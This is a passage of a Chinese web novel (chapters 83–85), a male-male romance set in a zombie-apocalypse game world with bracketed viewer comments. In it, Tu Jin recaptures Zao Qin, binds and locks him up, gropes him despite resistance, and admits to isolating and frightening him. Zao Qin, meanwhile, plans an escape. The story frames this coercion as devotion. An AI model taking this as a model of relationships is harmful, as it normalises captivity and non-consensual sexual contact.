——他们脸上没什么表情,所有的目光都聚集在车内的枣芩身上。他正一条腿挎在座椅上方,姿态有些狼狈,脸上有种被吓住的晨白。 枣芩控制不住地把视线落在最中间的涂晋脸上。 他在面对枣芩,向来仿佛带着暧昧戏谑的漆黑眼睛,此时冰冷刺骨地注视着他,薄唇漠然,一点温情都没有。 装扮着温和人皮的兽类掀开了他的假面。 而就在几个小时前,他还把枣芩搂入怀中,用他滚烫温度温暖枣芩,小声说着‘好幸福’。 枣芩呼吸失控变乱,大脑一片空白,出于一种本能朝前看去,车前面挡了另一辆越野。 他连现在冲过去开车的路都被堵死了。 他们、肯定早就发现他了。 枣芩颤抖着,彻底乱了阵脚,他现在什么都思考不了,逃避地缩回后备箱里去,睫毛如濒临绝境的某种动物,振翅不停。 怎么办?该怎么办—— 枣芩紧紧闭了下眼,唇瓣泛白,喉咙发干。他听到略快的脚步声靠近。 后备箱被打开,天边太阳鱼肚白浮起来大半,薄雾被照得四散开,天空铺了一层冰冷的淡蓝色。 在这背景之上的,是和涂晋令人发怵的脸,一起进入后备箱的冰冷晨气。 他看到枣芩的那一秒,眉头就紧紧皱起,眼底压着愤怒。 “枣芩。”他从牙缝中连名带姓挤出了他的名字。 枣芩双手抱着并起的膝盖,颤颤抬起无力的眼皮,眼底布上层濡湿的可怜水汽。 第83章 第 83 章 和我说句话 枣芩眼睛蒙了布, 手腕也被反捆在身后,动弹不得。 他被放在张床上,还盖了层被子。 被子里的脚踝也是被绑住的, 他脚稍微动了动, 碰到放进去不久的、热乎乎的热水袋, 位置正在他冰凉脚下。 房间内另一个人存在感很强, 却不说话,也不靠近。 只不远不近地, 目光如有实质地烫着枣芩, 枣芩有些脊背发麻,浅浅呼吸。 他在惩罚自己…… 枣芩感受得到他想表达这个意思。 他不适地扭动被束缚的身体, 也于事无补。对方并没有过来给他解开的意思。 时间不知道过了有多久。 紧绷的精神会把时间拉长,也许只有几分钟,或许有半小时,枣芩不知道, 他只觉得漫长。 他被抓住后,涂晋就把他抱到另一辆越野车上。 驶回基地路上他独自缩在后座, 恐慌害怕,不停掉眼泪,胡乱猜想——涂晋会不会暴露身份后破罐破摔、恼羞成怒,把他关在地下室里凌虐、羞辱。 毕竟他知道, 涂晋想对他做那种事情。 可到现在, 枣芩才慢半拍,意识到了涂晋没有伤害他的意思。 他被绑在身后的手蜷了蜷,绑得并不紧。脚底下的热水袋源源不断释放着热量,从脚下蔓延到他整个身体。 ——他只是想做那种事的话,似乎没必要这么做。 枣芩在微妙的怀疑过后, 心中生出一种抓住对方把柄的感觉。他不知道这感觉对不对,是不是自己……自恋了。 随后有了好多乱七八糟的想法,飞快从脑海划过。 但每一条的起点,都是离开这里,离开涂晋。 每一条伴随着的,都是察觉涂晋对他无害过后,欺软怕硬燃烧起来的,对涂晋的排斥与不忿。 枣芩不理解,涂晋他有什么资格这么对待自己?还把他绑在床上。 他凭什么这么欺负人呢? 【凶了吧唧地灌热水袋,给盖被子,装什么装】 【连个电热水袋都没有?】 【注水的更安全?不懂非正常人的脑回路,至今想不通他为什么要耍那些莫名其妙的阴招】 【啊……老婆忽然怎么了?哭了吗?】 【?好像真是,土狗你死了。】 安静房间内,打着颤的抽泣声,极其细弱小声的从卧室床上传来。像被吓得哭都不敢大声哭,实在压抑不住了才从牙关泄出来的。 连盖着他身体的被子,都随着细微发颤。 涂晋靠在门边一动不动盯着枣芩,听到他哭了的第一秒,眼神就不受控制骤然变了变。 他脸颊紧绷,脚步已经迈动,三步并作两步走到床边。 枣芩的脸被黑色眼罩遮了大半,衬得露着的下半张脸似一团雪,臌胀唇瓣被咬的泛红。 他手脚被捆住了,什么都做不了只能折腾自己的嘴唇,无措又可怜。 “这就哭了?”涂晋眸底深暗,手轻轻碰着他的脸颊,出口的嗓音沙哑不已,源头来自于绞痛的心脏。 才绑了他几分钟没理他,就胆小地哭。 到底是怎么敢一个人偷偷离开的? 好像一点都不知道,他离开基地,在外面会面对怎样的危险。 还不切实际的想开车跑,涂晋知道他,根本就是连方向盘都没摸过的人。 胸膛遏制不住地起伏,枣芩抛下了他,那么残忍,为了不被发现,还给他用上了道具。 枣芩似乎感受到他语气中的冷,雪白的脸躲开他的手指,哭得更厉害了。半张着唇抖着,发出呜呜咽咽的声音。 昨晚睡前的一切虚假美好的像海市蜃楼。 他的被动应对道具在检测到他在被使用道具的情况下,依旧花了些时间,才用提示音叫醒了他。 他醒来看到的就是空荡荡的床铺,已经冰凉的枕头,柜门大敞。 怀里的人不知去向。 涂晋坐在枣芩身边,手一提把人搂在怀里,一点点把绑在手上的毛巾解了。 明明绑的很松,枣芩再挣一下都能挣开的程度,几分钟他手腕都泛起薄红,涂晋捧着,心里闷得慌。 算了,惩罚过了。 就当没偷跑过。 眼罩拿开时,枣芩瞳孔被光照刺到眯了眯,因为哭过,眼尾晕出一层水红。垂下的睫毛轻轻颤栗,不知道在想什么。 涂晋看着,拿绑枣芩手腕的毛巾轻轻擦去眼尾的泪水。他的手指太粗糙了,眼尾很脆弱,会磨疼枣芩。 “骗我,还哭……”他擦完,想轻轻摸摸枣芩的脸颊。 手却被猝不及防一巴掌扇开,枣芩别开脸,濡湿眼睛瞥了他一眼,那一眼透着厌烦,很不愿意被他碰到的模样。 开口的声音还带着一点哭过的气息,语气存着嘲弄,一顿一顿的说,“你没资格,说骗,这个字。” …… 他果然知道了。 涂晋之前没预想过这种情况,他当时太轻视枣芩了。所以到来的时候,也没想到自己会这么心乱如麻。 他神经都在窒息一般,却还是嘴硬,他稳住自己的嗓音,“什么意思?” “……” 枣芩沉默斜睨了他眼,肉眼可见的失望,哭过的眼底盈满了讥讽,“你还没装完吗,想骗我到什么时候?” 枣芩呼吸绷着,他都以这样的态度说话了,涂晋会容忍他到什么程度。 是恼羞成怒,还是暴露恶劣,亦或者是摔门而去。 枣芩也有自己的考量,他不能再一头热做事了,他确定涂晋对自己的真正态度,决定之后怎么做。 可等了半天,他只感觉到涂晋的身体僵硬了又僵硬,最后若无其事问:“饿了吧,今天还没吃饭呢,想吃什么。”? 枣芩因为涂晋的态度微微睁大点眼睛,愣了下,慢吞吞呼出口气。随后装作生气,背对着他缩进被子里,不再理会涂晋了。 涂晋在床头坐着,过了片刻起身离开,枣芩听到了门反锁的声音。 他耸耸泛红的鼻尖,起身观察周围陈设。 就是一个普通的卧室,装修偏老气,可能是学校之前的主任或者校长休息室。墙上还挂着一张抬着前蹄的马,右下角落着毛笔字。 通过方位判断,可以得知这应该是个内间。 枣芩赤着脚来到窗边往下看,发现还是在涂晋办公室所在的楼,他现在应该就在办公室隔壁某一间。 看完,他快步跑回床上,缩进被子里。 这张床又大又软,足足有两米二,很舒服。枣芩缩在床上,一下一下踩着热水袋。 现在安静下来想,他知道宋呈在首城的消息后,确实上头了,迫不及待想去找他。其实很多地方都没考虑好。 枣芩想到自己被抓住时的场面,还有自己缩在后座哭的样子,都燥得脸热。 下次绝对不能这样了,枣芩得找个人陪他一起去找宋呈。 枣芩这么想着想着,思绪陷进了柔软的被褥中。 睡梦还是清醒,他分不清。他好像梦到了蛇,又黏又热的蛇信子从他脸颊划过,在他眼尾处把他的睫毛弄得一团糟。 他脸颊滚烫,想睁开眼睛,却没做到。 他听到蛇在低声哀求着跟他说什么,过了会又魔怔般否认自己做错了,又说对不起,混乱无序的噩梦。 再清醒时,窗外天色已经接近下午,屋内只有枣芩。 枣芩看到了桌子上摆放的食物,摸了下肚子,肚子空荡荡的,今天只吃了一块小小的巧克力。 正准备起身吃一顿,门口传来响声,紧接着涂晋推门而入。 见他神色清醒坐在床上,桌子上的饭菜却一动没动,沉默了两秒,扯了下嘴角。 “闹脾气就饭都不吃了?” “……” 枣芩垂下眼,避开他的目光,不与他对视。 涂晋要是再慢进来几分钟,他就吃了。 到了别人眼中,枣芩呈现出来的,就是一副固执绝食的模样。 涂晋总不可能真看着他不吃饭,叫人送来热饭菜,撤走了之前的。 他身高腿长、居高临下站在枣芩身边,似哄非哄,“你的朋友们也会希望你好好吃饭的。” 他说:“不然他们肯定也会吃不下去。比如……林里,陈柚、” 枣芩打断,抬起头看他,皱了下眉,“可是他们不是你的人吗?” 居然用他们来威胁他。 “哪里是我的朋友。”枣芩不想暴露林里,淡淡说:“他们是我的朋友的话,我还会被你骗吗?” 涂晋喉结微动,“楼下那个保镖呢?” 枣芩闷不吭声,起身穿上地上不知哪来的毛拖鞋,坐在椅子上开始吃东西。 他刚刚就是顶一下嘴,他才不想亏待自己。 食物味道很不错,和那天涂晋在那边搞来的那桌味道差不多,还说什么是自己做的,分明就是厨师做的吧。 涂晋坐在他对面,看他吃的脸颊一动一动,盯着枣芩嘴唇看。 欲言又止后,最终还是开口了,他假装随意笑说,想把事情揭过去,“我骗了你,你是不是也骗了我……抵消好不好?” 他不是害怕承认错误,他本该不屑错不错的。他错了又怎么了? 可是面对枣芩,他错了就受到了枣芩的惩罚,这份惩罚他难以承受的。 枣芩不理他,甚至都不愿意多眼看他几眼。 他需要搬出另一个觊觎枣芩的人来要挟,才能让他好好吃饭。 明明他们昨晚还抱在一起,说好的要加窗帘,换床垫被子。 枣芩吃东西的动作停住,耷着的睫毛眨动几下。涂晋漆黑的瞳孔划过一丝紧张,下颚绷着。 可枣芩什么都没说。 连着两天的时间,涂晋每天都来,哄他吃东西。仅仅两天,枣芩就看着比之前状态好些许,可自始至终一句话都不跟他说。 在他提起褚风来威胁枣芩别不理他时,枣芩表情更差了,小脸扭开,又回头瞪了他一眼,“随便你。” 涂晋仿佛陷入了一场没有胜算的博弈。 直到第三天夜里。 枣芩睡得正熟,被一道灼烈视线盯着,对方并没掩饰,枣芩从睡梦中睁开眼,吓得坐起身。 他很快认出了是涂晋,也只能是他。 晦暗不明的深夜里,像蛰伏的野兽,下一秒就会扑上来吃了枣芩。 枣芩呼吸慌乱,抿住嘴唇,没言语。 半晌。 “我错了。”他嗓音急而轻,因为说的太快隐隐发颤,有几分哀求意味。 不像野兽了,更像受伤的、被主人抛弃的狗。 依旧得不到枣芩的回应。 “小芩,我真的错了。我道歉,我不该骗你。”虽然在黑暗中,他知道枣芩是听得见的,醒来了的,只是不说话。 “我怎么做,你才能原谅我呢?你能不能告诉我……?” 他真的受不了这样,被折磨的没一晚睡好觉,分明枣芩什么都没做,只是不理会他而已。 他还是能每天看到枣芩,枣芩也在他身边,甚至能在他睡着后偷偷吻他。跟他最开始想的一样,好像得到了枣芩。 可是—— 他只得到了沉默、厌烦、憎恶。宋呈却得到了他的吻、他的笑容、他的依赖。 明明他只是也想让枣芩亲亲他。 “别这样了……”他甚至有些气断声吞,让枣芩听不清。 第84章 第 84 章 奖励 涂晋的手顺着被子缝隙钻进去, 很快摸到了枣芩的手。 微热温度触及到的那一刻,就像是沉积已久的干柴火被丢了一把火,几乎以燎原之势燃烧起来, 烧干他的理智。 他呼吸急促, 掀开被子进去, 单手握着枣芩的腿弯往外一拉, 拉到自己身前,俯身下去。 另一只手像条抓不住的游鱼似的, 滑进了枣芩宽松衣摆。顺着他内收窄瘦的腰, 掌心发痒,一路摸到了他的肩胛骨。 他手大, 挪动几下就几乎摸遍了枣芩的整个腰背,感受到他猛然绷起来的腰。 接着往腰下摸,已经摸到了弧度开始的地方。 一直在推拒他的枣芩身子蓦然颤抖了下,虽然一直在推他, 可力道并不大。枣芩急喘着,还发出令他心痒的细弱声音, “你、你给我滚——” 他表情痴缠,反握住枣芩的手,放在唇上贪恋地吻了又吻,“宝贝, 真的好喜欢、” 最后一个‘你’字都没说出口。 枣芩的手已经挣脱了出去, 伴随着细微的风,一声毫不留情的脆响,他的脸稍稍侧开,视野被迫变化。 一切安静了。 手指、连带着整个手掌,泛起大范围刺痛, 枣芩才反应过来自己干了什么。 ——他狠狠地扇了一巴掌涂晋的脸。 打得他手指颤着,心跳大乱。 枣芩心里有气,又知道涂晋对他的心思,是想离开前要好好折腾、报复一下他。 可自己也没底,并不确定对方能不能忍受被他打脸。 打脸这个动作不是像身体其他部位,打脸绝对是带有羞辱性质的。 枣芩惶恐不安地愣了几秒,才尽量忽略不远处灼热的身体,探着身体去开旁边的灯。 床头灯散出不明亮的暖光,落在涂晋愣怔恍惚的俊脸上,他跪在枣芩身前,半张脸藏在阴影处,舌尖顶了下被打的脸颊,居然轻笑了声。 要不是没闻到酒味,枣芩要怀疑他喝酒了。 大半夜来到他床边,像个神经病一样又崩溃又笑。 “……” “你想干什么?”枣芩压下心头的恼火与瑟缩,先开口。 涂晋喉结猛地压了压,眸底幽深,“你的手疼、我的脸疼,我有点开心,小芩终于理我了。” 不知道开心前面那句,还是后面那句,又或者皆有。 枣芩只觉得他在暗示他的可怜。 仅仅被打了脸,前两天没理他。 装委屈的语气倒显得他才是受害者了。 枣芩才不会可怜他,倒是拳头硬了。 他呼出口气,让自己语气保持在一个平静叙述的状态,盯着涂晋,“你说,我们两个都有错,想抵消。” “……可明明就是你一直在欺负我。” 枣芩说起这些事还是委屈,面对着这个罪魁祸首。他不懂悔改,还有脸把他抓回来,有脸绑他。 枣芩声音轻抖,“是你把我从陈柚那里赶走的吧。” “就是为了让我痛苦,让我难过,让我饿肚子……也是你,让所有人都不理我,让我到处碰壁,焦虑该怎么活下去。” “也是你,让我被拉到黑暗的巷子里。” 本来已经记性不太好、忘却了伤心的事,这么一提,又卷土重来了。 枣芩想到那天自己担心受怕,还觉得涂晋真是个好人,就气红了眼眶。 “我那时候很害怕,害怕的快要死掉了。好几个那么高大的人,一起欺负我,我根本没有办法反抗。” “你为什么啊?……我做错了什么招了你。”枣芩垂下眼,又抬起看他,“你说呢?” 暖黄光线下,枣芩看不到涂晋煞白的脸色,也没察觉到涂晋微不可察挪开的视线,不敢与枣芩对视。 心脏深处一抽一抽地疼,这种感觉实在不好受,让他觉得鼻尖的空气变得稀薄,下意识看了瞬枣芩。 他强撑着想,只要枣芩不离开他,他愿意用一切来还,一直一直。 涂晋还在跪着,枣芩已经缩起了膝盖。 他解释了枣芩的每个问题,“是我。因为想要你和我一起,又觉得你不会喜欢我。你没做错任何事。” “小芩,你就当我是条蛇,缠上你了吧。” 枣芩害怕蛇那种滑腻腻,还会嘶嘶吐蛇信子,捕捉猎物是紧紧缠上去的动物。 光是想想他就难受。 “不许这么说,要恶心死了。”枣芩皱起眉,伸直腿踩在他胸口。用力蹬了下,没蹬动,反倒被他摸上脚踝。 枣芩:“你不许碰我!” 他真搞不懂,嘟嘟囔囔道:“别人喜欢都对喜欢的人好。只有你,你欺负我,一点也不听我的话,还不如、” 枣芩话头戛然而止。 他想说,还不如不是人的小怪物,起码很听他的话。 涂晋敏锐捕捉到了他断掉的最后三个字,以及脸上一闪而过的失落。 他不知道枣芩想起了谁,谁值得他想起来,眼底遏制不住暗光阴翳。 是宋呈吗?还是在副本遇到的别人。 他没表现出来不对劲,反倒稍稍挑眉,“我也会听你话的。” “……。” 枣芩信他是傻子。但涂晋今晚已经崩溃边缘的模样还是让他记住了。 “你再不听我话,欺负我。我就会像前两天一样不理你,不对,就不止两天了。” 他下巴微微扬起,漂亮的眼睛看了涂晋一眼,“你听话的话,我也会奖励的。” 枣芩都没意识到自己在说什么,只是本能觉得这样能控制住面前这条毒蛇,所以就这么说了。 涂晋听到最后一句,思绪飘忽,舔了下唇。 他身体收紧,“什么奖励?” 枣芩眨巴眼睛,其实他根本没想好,只是随口一说。 他假装卖关子,“现在不告诉你,反正是一个你很想要的奖励。” 【奖励个大嘴巴子】 【不许奖励他,我呢?主人我呢?】 【喵~老婆,你的小猫在这里~】 【……上面那个好恶心,芩芩,本狗狗在家等你哦。】 枣芩没想到一个虚拟的奖励和没有成本的惩罚会这么好使。 ——吃着饭,枣芩视线落在门上好几次,说自己想出去,不想被关起来。 涂晋只是短暂的沉默,还没做出答复。 枣芩就已经哼了一声,白他一眼,面无表情起身,饭也不吃,要回床上去了。 涂晋几步跟上去,握住枣芩的手臂,“我没说不行,还不能惩罚我。” 枣芩的人身自由就这么恢复了。 他刻意地出门去逛,还回了趟之前住的地方,在楼下遇到了林里。枣芩压着激动,怕涂晋在某个角落正偷看他,只简单问候了林里几句,知道他现在回外出队了,还在之前的住处,过得挺好的。 林里也懂他的顾虑,没说太多,只认真看着他,眼睛都不眨,像是要把他印在脑海中。 连着两天都没发现涂晋有跟着他的意思,更没发现迹象,似乎是怕他生气。他突击回家,涂晋不是在办公室,就是在卧室。 枣芩去找了陈柚,希望她帮自己把褚风约过来,陈柚答应的很果断,枣芩才补充说自己不会让涂晋找她麻烦。 陈柚笑了,说知道。 枣芩也知道陈柚以前的苦衷,她要在这里生活,也有那么几次,要跟他说什么,但最后没说出来。 到现在,枣芩大概知道她当时是想告诉他涂晋在骗他。 他们约好在午饭时间——十二点,去烘焙屋碰面,陈柚会帮忙掩护。 枣芩心里没底,他也不知道褚风还会不会帮他。之前那次褚风可以跟他走,不代表这次依旧愿意。 而且现在困难程度直线上升,枣芩观察到外出队每次离开前,都会在对讲机汇报一下。 枣芩不用想都知道在跟涂晋汇报。 枣芩在想,他可以告诉褚风,涂晋对自己做的事情,博一博可怜。 如果不行,可以告诉他宋呈也在那里,地位很高,可以让他比这里过得更好更安全。 反正,他要用尽最大的力气说服褚风。褚风身强体健,有实战经验,还表达过愿意跟他离开的想法。 是最合适的人选。 夜里,涂晋帮枣芩吹着半干的头发,垂下的眼睛扫过他发红的耳朵,在抓弄头发时,装作不经意轻轻碰了下。 枣芩没反应,吹头发被碰到耳朵是一件再正常不过的事情,倒是歪了歪头。 涂晋扬起唇角,身前坐在椅子上的枣芩却忽然侧脸,抬起头看向他,眼底澄澈,整个人白净清透地像刚从水中出来。 涂晋关掉吹风机,“不想吹了吗?” “想要奖励吗?”枣芩语气轻飘飘的, 涂晋胸腔的空气仿若被全部抽干,变成一具僵硬的躯壳,哪怕他表情基本未动,甚至还正常去放了吹风机。 这是他第一次得到枣芩的奖励。 枣芩坐在床上,拽了拽自己略显宽松的上衣领口,若有所思地转着眼睛,对着涂晋招招手,他的腿不受控制地过去。 枣芩拉着领口,露出自己哪怕在昏暗灯光下依旧显得白皙的肩颈,表情明明就很纯,决不带有任何刻意的诱惑,可涂晋就是,被迷得头晕脑胀。 枣芩对他说:“你可以咬我一口……两口也行,在这里。” 涂晋掌心发汗,眼中无法抑制地释放出几分危险性,但很快被他压下去。万一,是枣芩的测试。 “我不能咬你,我不伤害你。” 这时候倒是正义起来了。 枣芩:“……” “不是伤害,是我答应的。”枣芩抿了下嘴巴,其实这个念头也不成熟,是忽然冒出来的,起不起作用也不一定,“算了,你回去睡觉吧。” 枣芩靠在床头,以为他会正常地离开。涂晋却转头又过来了“。” 枣芩没懂,是涂晋用的力气太小还是自己奇怪,被人咬为什么这么痒,身体也热热的。 他躺在床左边自己柔软的枕头上,右边领口被拉到肩膀下。 涂晋半趴着的,一条腿在枣芩膝盖中间,两手撑在他身侧,枣芩不允许他压上去,也不允许他碰到。 他只能撑着,低头用唇碰上枣芩的皮肤。 灼热呼吸喷在枣芩细嫩皮肤,他视觉敏锐,察觉到还没碰就隐隐发抖,唇角勾了下。 他张开嘴牙齿碰了上去,根本不能称之为咬,他这时舌头探出来舔了下,枣芩身体颤栗地很厉害,很敏感。 枣芩后悔了,推他,“算了算了。” “我还没咬,你很怕吗?”他作势要起身,好像没有留恋。 枣芩:“……我不是怕。” 涂晋舔吮吸咬,逮着枣芩给他划出来的一小片地,像是种植了罂粟,闭上眼睛,释放自己的独占欲。 他能感受到枣芩起伏的胸口,不时难耐耸动的肩头。 枣芩的皮肤很嫩,他不舍得咬,他就舔舔,这是枣芩同意的。他是得到批准、合法合规光明正大的。 他想摸摸枣芩,但枣芩肯定不愿意,甚至都不会让他亲这块了。 他一路从锁骨吻到肩头,中途感觉灵魂都要升天了,落下一大片旖旎瑰丽的痕迹。过了好一会,枣芩颤抖的手按在他炙热侧脸,“已经够、够了。” 涂晋起身,枣芩也立马坐起来,他把衣领拉上去,脸上潮红,眼神有些涣散,下唇被咬地浮出齿痕。 涂晋站了片刻才从舌尖开始,重新掌控自己的身体。 “……要洗洗吗?还是我帮你擦一下,这样,湿的不能睡。” “我自己洗就行的,你回去睡觉吧。”枣芩说完,就见涂晋很听话地离开。 他这才赶忙来到镜子前,把自己的衣领拉下一大片,自己都怔了秒。 明明没疼,看起来居然这么惨烈,效果这么好,他用食指指腹小心翼翼碰了下,确实不疼。 可惜看不到牙印。 可他转念一想,就算有牙印,到明天也肯定会消退,除非咬的很重,那他更无法接受。 枣芩随便用水洗了洗,不可避免淋在衣服上,浸湿大半。布料贴在身上难受,枣芩脱掉随手扔一旁,就上床睡觉了。 褚风没意料到枣芩会托人找他,甚至已经约好了地点,似乎迫切想见他一面。陈柚离开后,他恍惚了片刻。 医务室最后一次,是他让枣芩等他,之后他没再见过枣芩。枣芩已经和基地老大住在一起了,起码不会过得差。 说大不大,说小不小的一个中学而已,哪怕分出心神注意,故作不经意地回头,都没一次遇到他。 他一直就当自己对枣芩而言,就是曾经短暂相处过的一个雇佣兵罢了,还是他老公家里雇的。 一旦涉及到枣芩,他就是变得奇怪,晚上久违地又没睡好。梦见他们曾经在去首城的路上,没有遇到那群丧尸,而是顺利去往首城。 只有他们两个人,住在一起。 枣芩。 枣芩。 …… 出于一种从未有过的怪异心理,他去买了件夹克,刻意卡着十二点到了烘焙小屋。他没进过这里,却无比熟悉它的位置。 褚风推门而入朝里面走去,在屋子深处,枣芩已经在了。 听到他进来的声音,枣芩停下和陈柚的对话,回过头。 枣芩脸颊白里透红,和他想的一样,看起来生活的很好,身上穿着一件浅棕色的上衣,和他身上的深棕色很相似。 枣芩似乎很期待他的到来,那双眼睛瞬间亮晶晶的。 他在看枣芩的同时,枣芩也在观察他。 褚风过去就是雇佣兵,身体肌肉紧实有力,线条分明。现在更是,浑身像是大型掠食者,不假辞色的一张面容。 虽然他气质冷,下三白眼也看着凶。可是比起总是戏谑,像是角落里阴毒恶蛇的涂晋来说,要更让人有安全感。 起码他不会骗人,不会耍一些心机手段。 陈柚离开给他们留出空间,枣芩露出个干巴巴的笑容,让他坐。 其实也没有很多天,褚风还是由衷说出了句:“好久不见。” 枣芩点点头,看了他半天说出:“你脸上好像瘦了。” 但身上更高大了,不知道是不是错觉,反正大家都是这么寒暄的。 褚风扯着唇笑了下,“嗯,我瘦了。” 他坐在枣芩对面,枣芩左一下右一下的跟他搭腔,问他过得怎么样,开心不开心。 “像心理医生。”褚风开玩笑说。 枣芩脸颊红了,他处于一个尴尬又拘束的中间状态,不知道怎么开头。 视线一转,枣芩找到机会,起身从旁边端来一盘小饼干,他也不会做太多,就小饼干最熟练,“你吃这个,这是我一个小时前做的。” “你一个小时前就到了?”褚风拿起一个送进嘴里,品尝舌尖的甜奶味,若无其事问。 枣芩思索一下,“多吧,可能三个多小时了。” 褚风低了下头,藏住眼底的懊恼。 “那个、虽然这么说会有点讨厌,但我有事情想问你的……”枣芩直起身子,眼睛睁得圆圆的,专注看着他。 褚风知道他找自己有事,往嘴里塞下次可能吃不到的饼干,一口一个地粗俗模样。 “好,说吧。”他边嚼边说。 “你上次的话,你说可以跟我一起走,还算数吗?你说的要求,我们也可以商量的。” 枣芩看起来很紧张,耳朵尖尖一片通红,似乎呼吸都绷紧了。 褚风怔住,像是被突然凭空出现的一大堆甜饼干砸了头,而一时没回过神。 “你想离开他?” 枣芩提着十二分的精神在注意他的表情,很怕错漏了反应,更怕褚风不愿意,如果褚风真的不愿意,他不知道自己还可以找谁。 一定是涂晋把他带坏的。 枣芩想。 他虽然不是说谎话,却也马上要添油加醋了,低着脸没好意思抬头,轻轻呼了口气。 枣芩细白手指勾着自己的衣领扯开,白皙漂亮的锁骨肩头,落满了片片花瓣似的。 那分明就是被人吻过,嘬过的痕迹。 枣芩咬了下唇,硬着头皮说:“他一直在欺负我。” “这就是证据……” 第85章 第 85 章 很多人喜欢你 皮肤被冷空气浸润几秒, 枣芩脸颊倒是隐隐发烫,一只手帮他把衣服拉回去,遮住那些不堪的颜色。 褚风的声音有些哑, “一直算数。” 枣芩因为他的话呼吸都加快点, 心底深处如释重负, 心底暗暗觉得自己做对了, 没发觉褚风周身气压低而抑。 他心里窒闷,眼睛已经没再看着, 画面却还在眼前挥之不去。 手已经摸到了口袋中的烟盒, 动作顺畅地开了盒,一根烟到了唇上。可视线落到枣芩身上, 又放了回去。 枣芩其实也没太多头绪,上次的想法已经是他能想出来最好的办法了。 褚风的想法更是离谱,居然想直接开车带他撞出去,枣芩压住自己的无语, 想想都觉得荒谬。 之后提出的几个,更是吓人, 枣芩都要怀疑他杀过人,才想出胆大包天的办法。 虽然交流并不顺利,但他们达成一致了,这已经是难能可贵。 枣芩长长松了口气, 悬着的石头终于落了地, 眼前的世界都多了几分生机。 怕被别人发现他们,传到涂晋耳朵里,枣芩让褚风稍微等会,自己离开了他再走。 【偷情之——被禁锢的公主与护卫】 【老婆我支持你离开,不许再给他奖励了】 【这可不是说谎, 谁说奖励就不能是欺负了?】 推门而出时,枣芩嘴角都有一抹浅浅的笑,却在关门后转头的瞬间,看到了双手插兜,站在门外的涂晋。 陡峭的眉骨被正午阳光照射,眼睛处于暗处,紧紧盯着枣芩。 枣芩霎时如坠冰窟,睫毛颤抖着,他的第一反应是:“你跟踪我。” 涂晋再把他捉到一次,可就没这么简单了。 涂晋并没慌乱或者愤怒,他愣了两秒,才朝枣芩走过来,走近些才不像刚才那么阴翳。 他微微躬背,好笑说:“小芩,你除了在这里还能在哪里。” “你冤枉我。我怕你忘记吃饭,才来接你。” 枣芩抿着唇,轻轻哼了一声,没忘打量。 涂晋并不像撒谎,要是涂晋知道了,不会是这个态度的。 枣芩快步往前走,没敢回头看,怕暴露褚风在里面的事实。 他小声催促起来,“那还行……快点走吧,我肚子有点饿了。” 涂晋走在他旁边,侧头看他,“今天什么也没做吗?” 枣芩做贼心虚,脸颊染红,故作平常的语气,“什么意思?我能做什么。” “小饼干什么的。” “……哦。”枣芩:“已经被我吃掉了。” 两人一起走出了很远,枣芩才放下心。 他们现在还没想好具体的安全离开方式,只能先随机应变。褚风提出来的枣芩都不喜欢。 要不就是太暴力,要不就是风险太高,显得比他还想快点走。 枣芩决定先稳住涂晋,好在他已经基本掌握了涂晋的使用指南。 今天的事情让枣芩心情很好,同伴的存在给了他不少底气。 他晚上洗完澡,又宽又大的浴巾从白皙肩膀开始裹,都把他包得严严实实,出来就见涂晋在他窗前往外看。 扮演忧郁王子啊。 枣芩眨眨眼,没当回事。 时间还很早,他打开涂晋给他的手机玩起了单机游戏,是曾经看到林里在玩的数独游戏。 刚开始感觉很难,但掌握排除技巧之后,只需要找合适的套进去就好了。排除到最后,剩下唯一有可能的就填进去。 枣芩紧咬着嘴唇,玩的很专注。 “我可以在你旁边躺吗?你睡觉就走。”涂晋的声音在身边轻声说。 枣芩没看他,漫不经心地回答:“嗯。” 身侧被压下去,涂晋在他身旁,在看枣芩玩游戏。垂着眼皮,直到看到枣芩把最后一个数字填上,开心地握了下拳。 在枣芩开下一关之前,冷不防开口说:“你的任务是什么,有关首城基地吗?” 没嫌他看了这么久都没看懂,枣芩本来都要好脾气地回答,只要把所有空格填上应该的数字。 可听到后面一句,思迅陡然从游戏中被迫拔出来,枣芩呆住几秒,后背阴冷的悚然一点点蔓延至全身。 手机因为长时间没被触碰而黑屏了,他扭头速度缓慢看向涂晋,嘴巴动了下,没说出话来。 涂晋怎么会知道‘任务’……? 空气太过安静,而有些沙沙声。 “小芩,我也是玩家。”涂晋眼底晦暗不明,慢悠悠开口:“几个副本前我就见过你了。” 枣芩眼睛睁得更大了,固有想法被打破的感觉让他反应不过来,涂晋居然也是玩家,还曾经见过自己。 那太荒诞了! 他一个玩家为什么要对自己做出那些事情? 枣芩狐疑地盯着他,像被吓到的猫似的,耳朵都竖直了。 他反应过来后的第一想法是,那岂不是到了生死之界都不安全,还有可能碰到涂晋……? 这个念头的出现,让枣芩想要离开这里,去找宋呈的念头愈发被放大。 他没表现出来,只眼皮颤了颤。 涂晋低哑声音在耳边循循善诱,暗眸沉沉看着他,“我帮你,你告诉我你的任务,我们一起去做,小芩什么都不需要考虑,只需要等我把答案摆在你面前。” 枣芩没回答。 “你是玩家,你还见过我,是什么时候?”他小声又缓慢,脸颊肉贴在曲起的膝盖上,看向涂晋。 涂晋吞咽口水,手放在他身旁轻轻挨着他,胸腔内气体灼烫,“你还是一个、学生的时候。你表现的很像一个npc,很多人喜欢你。” 他蓦然想起了,枣芩被一个姓秦的npc抱在腿上亲嘴的画面。 …… 居然是枣芩第一个副本的时候。 什么表现的像,当时他就是一个npc。 枣芩没告诉他,回答了前面的问题,“我的任务是找到丧尸病毒的真相。” 他有些苦闷,“现在一点头绪都没有。” 涂晋看他可怜的表情,“不用着急。” “首城那边有消息我会告诉你,可以慢慢来,好不好?” 所以,不要再想着离开了,好不好? 枣芩心乱如麻地点点头。 想不通,涂晋为什么突然告诉他这些。 外形硬朗的越野车冲破安静光线下淡淡尘埃,纷至沓来的脚步冲上楼梯,带着紧张粗重呼吸,涂晋办公室被推开。 枣芩听到声响,出门去看热闹,见涂晋已经穿好外套,似乎要同他们一起离开似的。 涂晋看到茫然的枣芩,迈步过来,放低声音说:“我出去一趟,他们在外面发现一个地下实验室,有点不对劲,可能会跟你的任务有关,等我回来。” 枣芩抬眼看他,“我也要去。” “……”涂晋:“有危险,遇到丧尸怎么办?” 枣芩抿抿唇,“你保护不了我吗?那算了。” 车后座,枣芩被裹得严实,还被迫围了毛茸茸围巾。在身强体健的外出队中显得格格不入。 虽然没人会说他什么,但枣芩不由得尴尬。 枣芩看着窗外不断后退的景色,嘟囔说:“好远。” 他都没想到他会正大光明地坐着车离开基地,虽然只是暂时。 目的地在一家书店,在枣芩刚进这个副本的学校附近不远处。 